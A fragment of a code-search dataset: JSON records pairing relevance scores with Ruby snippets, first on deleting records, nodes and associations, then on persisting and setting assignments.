:)\n self.destroy\n end", "title": "" }, { "docid": "f97b78b07e784626076eb4ae051b91bc", "score": "0.5045811", "text": "def delete(element); end", "title": "" }, { "docid": "19d2b8663e53bcdda55871a480804aca", "score": "0.50373363", "text": "def delete_existing_relationships(obj, bump_lock_version_on_referent = false, force = false, predicate = nil)\n relationships.each do |relationship_defn|\n\n next if (!relationship_defn.json_property && !force)\n\n if (relationship_defn.json_property &&\n (!self.my_jsonmodel.schema['properties'][relationship_defn.json_property] ||\n self.my_jsonmodel.schema['properties'][relationship_defn.json_property]['readonly'] === 'true'))\n\n # Don't delete instances of relationships that are read-only in this direction.\n next\n end\n\n\n relationship_defn.find_by_participant(obj).each do |relationship|\n\n # If our predicate says to spare this relationship, leave it alone\n next if predicate && !predicate.call(relationship)\n\n # If we're deleting a relationship without replacing it, bump the lock\n # version on the referent object so it doesn't accidentally get\n # re-added.\n #\n # This will also encourage the indexer to pick up changes on deletion\n # (e.g. a subject gets deleted and we want to reindex the records that\n # reference it)\n if bump_lock_version_on_referent\n referent = relationship.other_referent_than(obj)\n DB.increase_lock_version_or_fail(referent) if referent\n end\n\n relationship.delete\n end\n end\n end", "title": "" }, { "docid": "3146817ef6f27676a3b707b51e953302", "score": "0.5031441", "text": "def remove_from_old_order\n coupon.orders&.first&.update(\n coupon_discount: 0,\n coupon_applied_at: nil,\n coupon_id: nil\n )\n end", "title": "" }, { "docid": "c39eacb06b2c8699b15cfbbed79d138d", "score": "0.5014294", "text": "def delete(data)\n deleting(prev_n_current_nodes(data))\n end", "title": "" }, { "docid": "05ed53e5f2a9487c5e5ee7bf82d6f0f6", "score": "0.5010125", "text": "def delete(key)\n i = key.hash % @table.size\n return unless @table[i]\n if @table[i].key == key\n @table[i] = @table[i].next\n @count -= 1\n return\n end\n node = @table[i]\n while node.next\n if key == node.next.key\n node.next = node.next.next\n @count -= 1\n return\n end\n node = node.next\n end\n end", "title": "" }, { "docid": "ad884def59893107e3a8e95516783f3b", "score": "0.5001275", "text": "def delete (fei)\n\n e = find(fei)\n e.destroy if e\n end", "title": "" }, { "docid": "14ac6487f6cc2a3373ad8d81aca9ead0", "score": "0.4989587", "text": "def delete table, keys = [], transaction_id: nil\n commit transaction_id: transaction_id do |c|\n c.delete table, keys\n end\n end", "title": "" }, { "docid": "21552b7948489274c349d4fc3e45b567", "score": "0.4982215", "text": "def test_delete\n g = [22058]\n Group.delete(g)\n end", "title": "" }, { "docid": "7ca8a1bd00213a8c884a97a18cf8132c", "score": "0.497651", "text": "def delete\n association.delete association[element.dataset[:index].to_i]\n end", "title": "" }, { "docid": "218100352787460b880560b766ce5e02", "score": "0.49761787", "text": "def delete_node(current_node)\n\nend", "title": "" }, { "docid": "91e0b019287bca48eb7bed63db590c2b", "score": "0.49730065", "text": "def delete_element(lines_number)\n\t\tdeleted_element_hash = {modify_nodes: [], add_nodes: [], remove_nodes: [], modify_edges: [], remove_edges: [], add_edges: []}\n\n\t\tlines_number.reverse.each do |number|\n\t\t\tdeleted_element_hash = merge_two_hashes(deleted_element_hash , remove_element(number))\n\t\tend\n\t\treturn uniqify_arrays_in_hash(deleted_element_hash, :id)\n\tend", "title": "" }, { "docid": "24680f94a4347a424f70b4f63f0eaa5a", "score": "0.4969628", "text": "def delete_permitted(mem)\n unless mem.suspended? || mem.mem_state.strip == StateNameTable::WaitPayment\n error \"Only TeamPaks awaiting payment can be deleted\"\n return false\n end\n\n @orders = Order.list_for_membership(mem.mem_id)\n\n @orders.each do |order|\n pays = Pays.for_order(order)\n unless pays.empty?\n error \"Cannot delete a TeamPak after orders associated with it have been paid\"\n return false\n end\n LineItem.items_for_order(order.order_id) do |li|\n if li.li_date_shipped\n error \"Cannot delete: '#{li.li_desc}' has been shipped\"\n return false\n end\n end\n end\n true\n end", "title": "" }, { "docid": "1dc4dffd7b370352970082a90a90d211", "score": "0.4967712", "text": "def xdel(key, *ids); end", "title": "" }, { "docid": "784f6b55a267114fa9b0e1fa6c08ab1c", "score": "0.49581006", "text": "def relation_withdraw_all(user)\n Note_Relation.all(:note_id => self.id, :user_id => user.id ).destroy!\n end", "title": "" }, { "docid": "79f6c1dc625b7028742c1da69decc7cf", "score": "0.4957109", "text": "def delete\n \n end", "title": "" }, { "docid": "e25e4ae04beaa9b243bf96767b355e9b", "score": "0.49489683", "text": "def destroy\n \n \n if @conciliabank_detail.destroy \n\n @conciliabank[:saldo_final] = @conciliabank[:saldo_inicial] - @conciliabank.get_subtotal(\"cargos\") + @conciliabank.get_subtotal(\"abonos\")\n \n @conciliabank.update_attributes(:saldo_final=> @conciliabank[:saldo_final])\n\n flash[:notice]= \"Item fue eliminado satisfactoriamente \"\n redirect_to @conciliabank\n else\n flash[:error]= \"Item ha tenido un error y no fue eliminado\"\n render :show \n end \n\n end", "title": "" }, { "docid": "49db866baf6b6da74ba1a67c039fa087", "score": "0.49462157", "text": "def remove!(donation_or_purchase)\n log = {}\n donation_or_purchase.line_items.each do |line_item|\n inventory_item = InventoryItem.find_by(storage_location: id, item_id: line_item.item_id)\n if (inventory_item.quantity - line_item.quantity) <= 0\n inventory_item.destroy\n else\n inventory_item.update(quantity: inventory_item.quantity - line_item.quantity)\n end\n log[line_item.item_id] = \"-#{line_item.quantity}\"\n end\n log\n end", "title": "" }, { "docid": "8d571b4783db232843c4d5a9cd99df07", "score": "0.49454242", "text": "def delete_nth(order,max_e)\n #your code here\n counter = Hash.new(0)\n solution = []\n order.each {|x| counter[x] += 1}\n counter.each do |k, v|\n solution.push(k)\n v = max_e if v > max_e\n if v > 1\n v -= 1\n v.times do\n solution.push(k)\n end\n end\n end\n return solution\nend", "title": "" }, { "docid": "ecacd94333ff3d176b3ee59d4c2d0ef4", "score": "0.4942889", "text": "def destroy\n @costs_for_item.destroy\n end", "title": "" }, { "docid": "7b4223702ce060602cdac64f89b2d885", "score": "0.4942484", "text": "def delete_oldies(diff)\n @log_entries.synchronize do\n @log_entries.each_pair do |key, value|\n value.delete_if { |e| ((Time.now - e[:time_local].to_time) > diff) }\n end\n @log_entries.delete_if { |key, value| value==[] } #jak zostanie pusta tablica, chyba ze dla historii chcemy przechowywac puste worker_addr'y (?)\n end\n end", "title": "" }, { "docid": "dc1688cdd9404b7c7aef50b6ad8869a4", "score": "0.4936633", "text": "def order_delete\n OrderMailer.order_delete\n end", "title": "" }, { "docid": "6f5712b35bf3b808220c8dddadb01d75", "score": "0.49363294", "text": "def delete(table, ids) # abstract\n end", "title": "" }, { "docid": "601acca373918808446119d7e00169db", "score": "0.49331677", "text": "def\treduced_form(objets_g, objets_d)\n\tobjets_g.each do |objetg|\n\t\tobjets_d.each do |objetd|\n\t\t\tif objetg.puissance == objetd.puissance\n\t\t\t\tif objetg.signe == '-'\n\t\t\t\t\tobjetg.number = -(objetg.number)\n\t\t\t\tend\n\t\t\t\tif objetd.signe == '-'\n\t\t\t\t\tobjetd.number = -(objetd.number)\n\t\t\t\tend\n\t\t\t\tobjetg.number = objetg.number + (-1 * objetd.number)\n\n\t\t\t\tif objetg.number < 0 && objetg.signe == '+'\n\t\t\t\t\tobjetg.signe = '-'\n\t\t\t\tend\n\t\t\t\tobjetg.number = objetg.number.round(2)\n\t\t\t\tobjets_d.delete(objetd)\n\t\t\tend\n\t\tend\n\tend\n\tobjets_g.each do |objetg|\n\t\tif objetg.number == 0\n\t\t\tobjets_g.delete(objetg)\n\t\tend\n\tend\n\tobjets_d.each do |objetd|\n\t\tif objetd.number != 0\n\t\t\tobjets_g << objetd\n\t\tend\n\tend\nend", "title": "" }, { "docid": "790e768705be53e6e3f75af51fd503db", "score": "0.49297616", "text": "def rm_cddts_outof_blk\n axes = [@ref_rows, @ref_cols]\n axes.each{|axis|\n axis.each{|ref|\n intrsct_cddts = []\n (self.to_a.flatten & ref).each{|elm|\n intrsct_cddts.push(elm.cddts).flatten!.uniq!\n }\n six_cells_cddts = []\n (self.to_a.flatten - ref).each{|elm|\n six_cells_cddts.push(elm.cddts).flatten!.uniq!\n }\n intrsct_cddts.each{|cddt|\n unless six_cells_cddts.include?(cddt)\n (ref - self.to_a.flatten).each{|elm|\n elm.cddts.delete(cddt)\n# if ProgramConfig[:debug]\n# if elm.fixed == false and elm.cddts.length == 1\n# print \"DEBUG: [#{elm.i}, #{elm.j}] = #{elm.cddts.first}\\n\"\n# end\n# end\n elm.fixed = true if(elm.cddts.length == 1)\n }\n end\n }\n }\n }\n end", "title": "" }, { "docid": "f9c6d448e005b5c4c1afdec7d0dce725", "score": "0.4928427", "text": "def delete_ballots\n self.ballots.destroy_all\n end", "title": "" }, { "docid": "9ce71f42c68e73610ede670049599b13", "score": "0.4923467", "text": "def destroy\n @cajas = Caja.all \n\n\n a = Cout.find(@viaticotbk_detail.cout_id)\n\n a.parent = nil\n\n a.save \n\n \n if @viaticotbk_detail.destroy\n\n\n begin\n @viaticotbk[:inicial] = @viaticotbk.get_total_inicial\n rescue\n @viaticotbk[:inicial] = 0\n end \n \n begin\n @viaticotbk[:total_ing] = @viaticotbk.get_total_ing\n rescue \n @viaticotbk[:total_ing] = 0\n end \n begin \n @viaticotbk[:total_egreso]= @viaticotbk.get_total_sal\n rescue \n @viaticotbk[:total_egreso]= 0 \n end \n @viaticotbk[:saldo] = @viaticotbk[:inicial] + @viaticotbk[:total_ing] - @viaticotbk[:total_egreso]\n\n\n @viaticotbk.save\n \n if @viaticotbk.caja_id == 1 \n a = @cajas.find(1)\n a.inicial = @viaticotbk[:saldo]\n a.save\n end \n if @viaticotbk.caja_id == 2\n a = @cajas.find(2)\n a.inicial = @viaticotbk[:saldo]\n a.save\n end \n if @viaticotbk.caja_id == 3 \n a = @cajas.find(3)\n a.inicial = @viaticotbk[:saldo]\n a.save\n end \n if @viaticotbk.caja_id == 4 \n a = @cajas.find(4)\n a.inicial = @viaticotbk[:saldo]\n a.save\n end \n\n if @viaticotbk.caja_id == 5\n a = @cajas.find(5)\n a.inicial = @viaticotbk[:saldo]\n a.save\n end \n\n if @viaticotbk.caja_id == 6\n a = @cajas.find(6)\n a.inicial = @viaticotbk[:saldo]\n a.save\n end \n\n \n flash[:notice]= \"Item fue eliminado satisfactoriamente \"\n redirect_to @viaticotbk\n else\n flash[:error]= \"Item ha tenido un error y no fue eliminado\"\n render :show \n end \n \n end", "title": "" }, { "docid": "b4254e8067db2abf71b45a67c1ae2ae2", "score": "0.4920851", "text": "def delete_node(l)\n node = Node.find_by(layer: l).destroy\n Connection.destroy_all(parent_id: node.id)\n Connection.destroy_all(child_id: node.id)\n end", "title": "" }, { "docid": "9024180c74d6c2309109c4e56ac68971", "score": "0.49197868", "text": "def delete_e31(nodo,input)\n\n\t\t\twhile nodo.next != nil\n\t\t\t\t\tif nodo.value == input\n\t\t\t\t\t\tnodo.value = nodo.next.value\n\t\t\t\t\t\tnodo.next = nodo.next.next\n\t\t\t\t\telse\n\t\t\t\t \t\tnodo = nodo.next\n\t\t\t\t\tend\n\t\t\tend #while ends\n\t\t end", "title": "" }, { "docid": "96bbccca8e6ff8930cb982e44f091e7f", "score": "0.49155247", "text": "def delete(model)\n\n # LREM key 0 <id> means remove all elements matching <id>\n # @see http://redis.io/commands/lrem\n key.call(\"LREM\", 0, model.id)\n end", "title": "" }, { "docid": "645939402620cdde55012f2d50145d1e", "score": "0.49151096", "text": "def delete()\n\n db = PG.connect({dbname: \"pizza_shop\", host: \"localhost\"})\n sql = \"DELETE FROM pizza_orders WHERE id = $1\"\n values = [@id]\n db.prepare(\"Delete\", sql)\n db.exec_prepared(\"Delete\", values)\n db.close\n\n end", "title": "" }, { "docid": "c810b3b2f186f91baf1eaf2a088f8343", "score": "0.49126884", "text": "def test_delete_node_tree_l_2_nodes\n # Prep\n tree = BST::Tree.new\n val = [10, 8]\n val.each {|v| tree.insert(v)}\n tree.delete(val.last)\n # Test\n _delete_node_tree_hlpr(val, tree)\n end", "title": "" }, { "docid": "ab17268febef485baa85badba70d33d6", "score": "0.491189", "text": "def destroy\n OrderUnit.where(produce_task_id: @produce_task.id).each do |ou|\n ou.produce_task_id = nil\n ou.state = 0\n ou.save!\n ou.order.checked! unless ou.order.checked?\n end\n\n OrderPart.where(produce_task_id: @produce_task.id).each do |op|\n op.produce_task_id = nil\n op.state = 0\n op.save!\n op.order.checked! unless op.order.checked?\n end\n\n @produce_task.destroy\n respond_to do |format|\n format.html { redirect_to produce_tasks_url, notice: '生产任务已删除。' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ade9fd3d18791baa47d67c8a68b32388", "score": "0.49112427", "text": "def remove(k)\n #First we must find the node, after this we can delete it.\n remove_avl(@root, k);\n end", "title": "" }, { "docid": "367e6ea276594892c81465bea1d289d2", "score": "0.491092", "text": "def delete_edge(v)\n count = 0\n @edges.each do |e|\n @edges.delete_at(count)if e.vertex.eql?(v)\n count+=1\n end\n end", "title": "" }, { "docid": "80310a665057e321dba51a80b378c794", "score": "0.49046963", "text": "def remove_klarna?\n payment? &&\n adjustments.klarna_invoice_cost.count > 0 &&\n payments.first.payment_method &&\n !is_paymeth_klarna?\n end", "title": "" }, { "docid": "22681c2ad4adea972fe44ad654bbd502", "score": "0.49025103", "text": "def reason_not_to_delete\n d = @data_object\n if d.order_amount_paid > 0.0\n return \"Cannot delete an order after it has been partially paid\"\n end\n\n pays = Pays.for_order(self)\n unless pays.empty?\n return \"Cannot delete an order after payments have been applied\"\n end\n\n each_line do |line|\n if line.li_date_shipped\n return \"Cannot delete: '#{line.li_desc}' has been shipped\"\n end\n end\n\n nil\n end", "title": "" }, { "docid": "747eb08d31313cfe7419970d3ac26d3d", "score": "0.48923862", "text": "def delete_disputes\n clients.each do |client|\n client.counterparts.each do |counterpart|\n if counterpart.lawsuits.include?(self)\n Dispute.find_by_counterpart_id_and_client_id(counterpart.id,\n client.id).delete\n end\n end\n end\n end", "title": "" }, { "docid": "a5059aca27bf4f21a6b9ed4c9f2d96d2", "score": "0.48907432", "text": "def delete!\n graph.remove_vertex self\n end", "title": "" }, { "docid": "8f600d816fe4b25da9c91f0a0793ae73", "score": "0.4884568", "text": "def delete_waypoint _num\n SQF.deleteWaypoint [@this, _num].to_a\n end", "title": "" }, { "docid": "2cd6dbd3d8dfc6a97f28e5aa64b7226f", "score": "0.48842633", "text": "def test_set3_04b_delete_group()\n group = \"test_group\"\n user = \"test_user\"\n \n @test_acl.create_principal(user)\n @test_acl.create_group(group, [\"ALL\"], [user])\n \n query = \"doc(\\\"#{@col_path}Principals.xml\\\")//node()[@id=\\\"#{user}\\\"]/membership/mgroup[@idref=\\\"#{group}\\\"]\"\n #puts query\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(1, hits)\n \n @test_acl.delete_principal(group)\n \n query = \"doc(\\\"#{@col_path}Principals.xml\\\")//node()[@id=\\\"#{user}\\\"]/membership/mgroup[@idref=\\\"#{group}\\\"]\"\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(0, hits)\n end", "title": "" }, { "docid": "67a75486b75e81d9b2a3b3e0ee5bc425", "score": "0.4874116", "text": "def shift_up_orders()\n Feature.update_all('\"order\" = \"order\" - 1', '\"order\" > '+order.to_s)\n end", "title": "" }, { "docid": "9651c098991e6398a78c37b180d7f417", "score": "0.4870696", "text": "def departure(train)\n @trains.delete(train)\n end", "title": "" }, { "docid": "a44ef186cea1bebd4933718379d1bc0f", "score": "0.48675618", "text": "def _build_exclude_delete(parent,ng,node_group,nd,excludes,depth)\n return nil if excludes.include?(parent)\n build_del_list = {}\n build_del_list[:excl] = []\n build_del_list[:to_del] = []\n \n parent.child_groups.each do |child|\n # each parent should not check the child that initiated the inquiry so create a list of each\n # of its children except the one that initiated\n if child == ng\n ngna = NodeGroupVipAssignment.find_by_node_group_id_and_vip_id(parent.id, nd.id)\n # If there aren't any other parents (relative to source ngna), means safe to delete\n if (parent.child_groups.size == 1)\n # if the parent ngna is a real assignment, don't delete it.\n if (defined?(ngna.virtual_assignment?)) && (!ngna.virtual_assignment?)\n build_del_list[:excl] << parent\n return build_del_list\n elsif \n build_del_list[:to_del] << parent\n return build_del_list\n end\n else # more child groups to process\n next\n end\n end\n # if the parent indeed has another childng with the vip as a member, then we break the chain. \n # meaning the parentng keeps its ng-to-vip assoc as well as ITS parents.\n ngna_to_del = NodeGroupVipAssignment.find_by_node_group_id_and_vip_id(parent.id, nd.id)\n if (child.vips.include?(nd))\n build_del_list[:excl] << parent\n unless (parent.parent_groups.nil?) || (parent.parent_groups.empty?)\n parent.parent_groups.each do |ppg|\n build_del_list[:excl] << ppg\n end\n end\n return build_del_list\n # OR if it is a real ngna and not a virtual, we should also exclude it from being deleted\n elsif defined?(ngna_to_del.virtual_assignment?) && (!ngna_to_del.virtual_assignment?)\n build_del_list[:excl] << parent\n unless (parent.parent_groups.nil?) || (parent.parent_groups.empty?)\n parent.parent_groups.each do |ppg|\n build_del_list[:excl] << ppg\n end\n end\n return build_del_list\n else\n build_del_list[:to_del] << parent\n end\n end\n return build_del_list\n end", "title": "" }, { "docid": "0d889c750eff92d7e24a314dcafeb911", "score": "0.48667428", "text": "def delete_element(element); end", "title": "" }, { "docid": "db23fd310d608259ba21cc278fe83024", "score": "0.48664382", "text": "def delete_all_dependency(id, dependant)\n id = id.object_id unless id.kind_of?(Integer)\n method = method.intern unless method.kind_of?(Integer)\n for assoc in @dependency[id]\n\tassoc.delete_if do\n\t |d, m, *o|\n\t d == dependant\n\tend\n\t@dependency.delete(id) if assoc.empty?\n end\n end", "title": "" }, { "docid": "3ade6c49ba32df19601f6dcc3ab27e87", "score": "0.4864919", "text": "def del(*keys); end", "title": "" }, { "docid": "6a2a759d13851da59c47cd326f3eb3ee", "score": "0.4858924", "text": "def delete\n self.is_deleted = true\n self.deleted_datetime = DateTime.now \n self.save\n \n # revert the effect \n case self.transaction_entry_code\n when TRANSACTION_ENTRY_CODE[:weekly_saving] # in \n \n when TRANSACTION_ENTRY_CODE[:extra_weekly_saving] # in \n member.deduct_compulsory_savings( self ) \n when TRANSACTION_ENTRY_CODE[:soft_savings_withdrawal] # out \n member.add_extra_savings( self )\n end\n \n end", "title": "" }, { "docid": "0c0070dfd5a9b8323abcfc98984c5ec4", "score": "0.48573267", "text": "def remove_from(order)\n Spree::Deprecation.warn(\"#{self.class.name.inspect} does not define #remove_from. The default behavior may be incorrect and will be removed in a future version of Solidus.\", caller)\n [order, *order.line_items, *order.shipments].each do |item|\n item.adjustments.each do |adjustment|\n if adjustment.source == self\n item.adjustments.destroy(adjustment)\n end\n end\n end\n end", "title": "" }, { "docid": "56039e0f1d2b3e09e41c2133f828dd19", "score": "0.4856495", "text": "def cleanup_distances_by_metric!(ref, metric)\n db_type = :\"#{metric}_db\"\n db = get_result(:distances).file_path(db_type)\n return if db.nil? || !File.size?(db)\n\n sqlite_db = MiGA::SQLite.new(db)\n table = db_type[-6..-4]\n val = sqlite_db.run(\"select seq2 from #{table}\")\n return if val.empty?\n\n (val.map(&:first) - ref).each do |extra|\n sqlite_db.run(\"delete from #{table} where seq2=?\", extra)\n end\n end", "title": "" }, { "docid": "58021b0e5cef9dd437cd908c147cccf0", "score": "0.4854849", "text": "def delete_ltree_column_value\n update!(ltree_path_column => nil)\n end", "title": "" }, { "docid": "d4837a23fb84f282d124bad48d96d8f9", "score": "0.48528355", "text": "def delete(atom)\n form_data = { atom_id: atom.id }\n @hive_party.post \"/atoms/#{atom.id}/deletions\", form_data\n end", "title": "" }, { "docid": "97922678d822541661413da28d7216d5", "score": "0.48523778", "text": "def add_klarna_fee!\n if add_klarna?\n\n # FIXME require validation that order restrict partitial payments\n paymeth = payments.first.payment_method\n\n fee = paymeth.preferred(:invoice_fee)\n adj = adjustments.create(amount: fee,\n source: self,\n label: Spree.t(:invoice_fee))\n # FIXME define correct originator\n # paymenthod is not correct spree/core/app/models/spree/adjustment.rb\n # adj.originator = paymeth\n # adj.save!\n adj.lock!\n update!\n end\n end", "title": "" } ]
c4cce46a76e2327d8fa0bf0e8bc6a5e6
Persist an assignment across different policy machines. This is used for logical relationships outside of the policy machine formalism, such as the relationship between a class of operable and a specific instance of it.
[ { "docid": "095af27b00daee083513e01cf6073290", "score": "0.0", "text": "def add_link(src_policy_element, dst_policy_element)\n assert_different_machines(src_policy_element, dst_policy_element)\n src_policy_element.link_to(dst_policy_element)\n end", "title": "" } ]
[ { "docid": "873c10de77f7fc1801fa337c2127abd6", "score": "0.64805096", "text": "def assignment\n # Create assignment\n Relationship.create(assignment_parameters)\n \n # Get human readable assignment values\n @assignment_parts = assign_parts(params)\n end", "title": "" }, { "docid": "a3e39d7564ce01bb6d5737ec2fb22da0", "score": "0.64438415", "text": "def save_assignments\n csids = self.assigned_to_ids\n klass = self.is_annotation? ? 'Annotation' : self.class.name\n unless csids.nil?\n new_ids = csids.to_s.split(',').map(&:to_i)\n current_ids = self.reload.assignments.map(&:user_id)\n to_create = new_ids - current_ids\n to_delete = current_ids - new_ids\n to_delete.each do |id|\n Assignment.where(assigned_type: klass, assigned_id: self.id, user_id: id).last.destroy!\n end\n to_create.each do |id|\n Assignment.create!(assigned_type: klass, assigned_id: self.id, user_id: id, message: self.assignment_message)\n end\n # Save the assignment details to send them as Slack notifications\n self.instance_variable_set(\"@assignment\", { to_create: to_create, to_delete: to_delete }) unless to_delete.blank? and to_create.blank?\n end\n end", "title": "" }, { "docid": "62dfa22d10492389fe8bdabdfa9adf6a", "score": "0.62754685", "text": "def save_assignment(identity, index, _request)\n return if index == connection.ab_showing(@id, identity)\n return if connection.ab_seen @id, identity, index\n\n rebalance_if_necessary!\n\n connection.ab_add_participant(@id, index, identity)\n call_on_assignment_if_available(identity, index)\n\n check_completion!\n end", "title": "" }, { "docid": "8b65fb268af90f13bffdc45b3af39724", "score": "0.6083916", "text": "def persist!\n repo = self.class.repository\n self.class.properties.each do |name, property|\n value = read_attribute name\n if self.class.reflect_on_association(name)\n # TODO: for now, always persist associations,\n # as it's impossible to reliably determine\n # whether the \"association property\" was changed\n # (e.g. for \"in-place\" changes like \"association << 1\")\n # This should be solved by splitting properties\n # into \"true attributes\" and associations\n # and not mixing the both in @properties.\n repo.delete [subject, property[:predicate], nil]\n value.each do |val|\n store_attribute(name, val, property[:predicate], repo)\n end\n else\n if attribute_changed?(name.to_s)\n repo.delete [subject, property[:predicate], nil]\n store_attribute(name, value, property[:predicate], repo)\n end\n end\n end\n types.each do |type|\n # NB: repository won't accept duplicates,\n # but this should be avoided anyway, for performance\n repo.insert RDF::Statement.new(subject, RDF.type, type)\n end\n end", "title": "" }, { "docid": "65642e8db53bd930bff6bcc60eddb199", "score": "0.587273", "text": "def assignment=(value)\n @assignment = value\n end", "title": "" }, { "docid": "50977197b4c708733753240336159670", "score": "0.5846052", "text": "def call_assignment(node)\n if [\"save\", \"save!\"].include? node.message.to_s\n subject = node.subject.to_s\n add_error \"use model association (for #{subject})\" if @assignments[subject]\n end\n end", "title": "" }, { "docid": "1566a3f31bf2fa2a40fd9ba502492931", "score": "0.58135754", "text": "def persist!\n record.assign_attributes(\n attribute_one: attribute_one,\n attribute_two: attribute_two\n )\n record.save!\n end", "title": "" }, { "docid": "3e13d3d15a574758f059ab25bec4ffbd", "score": "0.57726985", "text": "def call_assignment(node)\n if ['save', 'save!'].include? node.message.to_s\n receiver = node.receiver.to_s\n add_error \"use model association (for #{receiver})\" if @assignments[receiver]\n end\n end", "title": "" }, { "docid": "7d135ad6796c87a196b5c98e85d74225", "score": "0.5721564", "text": "def set_assignment\n @assignment = machine_octokit.repo(\"#{course_org_name}/#{params[:id]}\")\n end", "title": "" }, { "docid": "44fce9035b68946f5b4e154bd02718f8", "score": "0.5680772", "text": "def add_assignment(src_policy_element, dst_policy_element)\n assert_policy_element_in_machine(src_policy_element)\n assert_policy_element_in_machine(dst_policy_element)\n\n src_policy_element.assign_to(dst_policy_element)\n end", "title": "" }, { "docid": "00e7440f96c18d81b788f787ec58790d", "score": "0.5649013", "text": "def assign(*args)\n commit('assign', *args)\n end", "title": "" }, { "docid": "cb5e525685cddca1da6cf65911c35892", "score": "0.56235254", "text": "def save\n CONNECTION.execute(\"UPDATE assignments SET general_info = '#{self.general_info}', github_link = '#{self.github_link}', co_workers = '#{self.co_workers}' WHERE id = #{self.id};\")\n end", "title": "" }, { "docid": "8d3d4a58bbc4afbdfd76a566b00a652f", "score": "0.56227684", "text": "def attribute_assignment(node)\n if node.left_value.message.to_s =~ /_id$/\n subject = node.left_value.subject.to_s\n @assignments[subject] = true\n end\n end", "title": "" }, { "docid": "e8e4e09a1c12e1ea4a7187ee0b2f7b17", "score": "0.558389", "text": "def persist\n raise NotImplemented, \"#persist must be defined\"\n end", "title": "" }, { "docid": "daa31091a3faf873e7cbcaeb2ca16bef", "score": "0.55459005", "text": "def save!\n subject.send(\"#{field}=\", store)\n subject.save!\n end", "title": "" }, { "docid": "0fd776fd51be952cb9760b3c2030ee5d", "score": "0.5517719", "text": "def attribute_assignment(node)\n if node.left_value.message.is_a?(Sexp) && node.left_value.message.to_s =~ /_id$/\n receiver = node.left_value.receiver.to_s\n @assignments[receiver] = true\n end\n end", "title": "" }, { "docid": "187b9a50317ca3bedaaab7ff423da8b0", "score": "0.54905933", "text": "def propagate_assignment\n\t\tself.course.propagate_assignment(self)\n\tend", "title": "" }, { "docid": "4f261db4c9716fee2a8bbce85ab08175", "score": "0.5456477", "text": "def persist!\n @snapshot.save!\n @processes.each(&:save!)\n persist_labels\n persist_metrics\n end", "title": "" }, { "docid": "b6d87b0f9a68592a0bf1b25827aa22f7", "score": "0.5449697", "text": "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "b6d87b0f9a68592a0bf1b25827aa22f7", "score": "0.5449697", "text": "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "b6d87b0f9a68592a0bf1b25827aa22f7", "score": "0.5449697", "text": "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "b6d87b0f9a68592a0bf1b25827aa22f7", "score": "0.5449697", "text": "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "b6d87b0f9a68592a0bf1b25827aa22f7", "score": "0.5449697", "text": "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "b6d87b0f9a68592a0bf1b25827aa22f7", "score": "0.5449697", "text": "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "b6d87b0f9a68592a0bf1b25827aa22f7", "score": "0.5449697", "text": "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "b6d87b0f9a68592a0bf1b25827aa22f7", "score": "0.5449697", "text": "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "b6d87b0f9a68592a0bf1b25827aa22f7", "score": "0.5449697", "text": "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "b6d87b0f9a68592a0bf1b25827aa22f7", "score": "0.5449697", "text": "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "b6d87b0f9a68592a0bf1b25827aa22f7", "score": "0.5449697", "text": "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "b6d87b0f9a68592a0bf1b25827aa22f7", "score": "0.5449697", "text": "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "b6d87b0f9a68592a0bf1b25827aa22f7", "score": "0.5449697", "text": "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "b6d87b0f9a68592a0bf1b25827aa22f7", "score": "0.5449697", "text": "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "1e685b1afee7e4edea43c31003c0e1e3", "score": "0.5439339", "text": "def set_assignment\n @assignment = Assignment.find_by(number: params[:assignment_number])\n end", "title": "" }, { "docid": "b700a10ad17f306a774242b17a289979", "score": "0.5435111", "text": "def persist; end", "title": "" }, { "docid": "b700a10ad17f306a774242b17a289979", "score": "0.5435111", "text": "def persist; end", "title": "" }, { "docid": "b700a10ad17f306a774242b17a289979", "score": "0.5435111", "text": "def persist; end", "title": "" }, { "docid": "ca3ae9c5f3c0912b0f34fe4ff822029c", "score": "0.5425479", "text": "def assignment_policies=(value)\n @assignment_policies = value\n end", "title": "" }, { "docid": "4ec26a5cb6593b9019e8e699793b1124", "score": "0.53989923", "text": "def _assign\n configure_logger() # Sets up loggers\n\n # Consumers can optionally return false from assign if they don't want exposure to be logged\n assign_val = assign(@_assignment, **@inputs)\n @_in_experiment = assign_val || assign_val == nil ? true : false\n @_assigned = true\n end", "title": "" }, { "docid": "f6a9c10c8d217f8f2e22741805dbce7e", "score": "0.53833777", "text": "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "f6a9c10c8d217f8f2e22741805dbce7e", "score": "0.53833777", "text": "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "f6a9c10c8d217f8f2e22741805dbce7e", "score": "0.53833777", "text": "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "f6a9c10c8d217f8f2e22741805dbce7e", "score": "0.53833777", "text": "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "f6a9c10c8d217f8f2e22741805dbce7e", "score": "0.53833777", "text": "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "f6a9c10c8d217f8f2e22741805dbce7e", "score": "0.53833777", "text": "def set_assignment\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "baf722b2961248856fbbb8b5daf5c2db", "score": "0.5366557", "text": "def set_assignment\n @assignment = 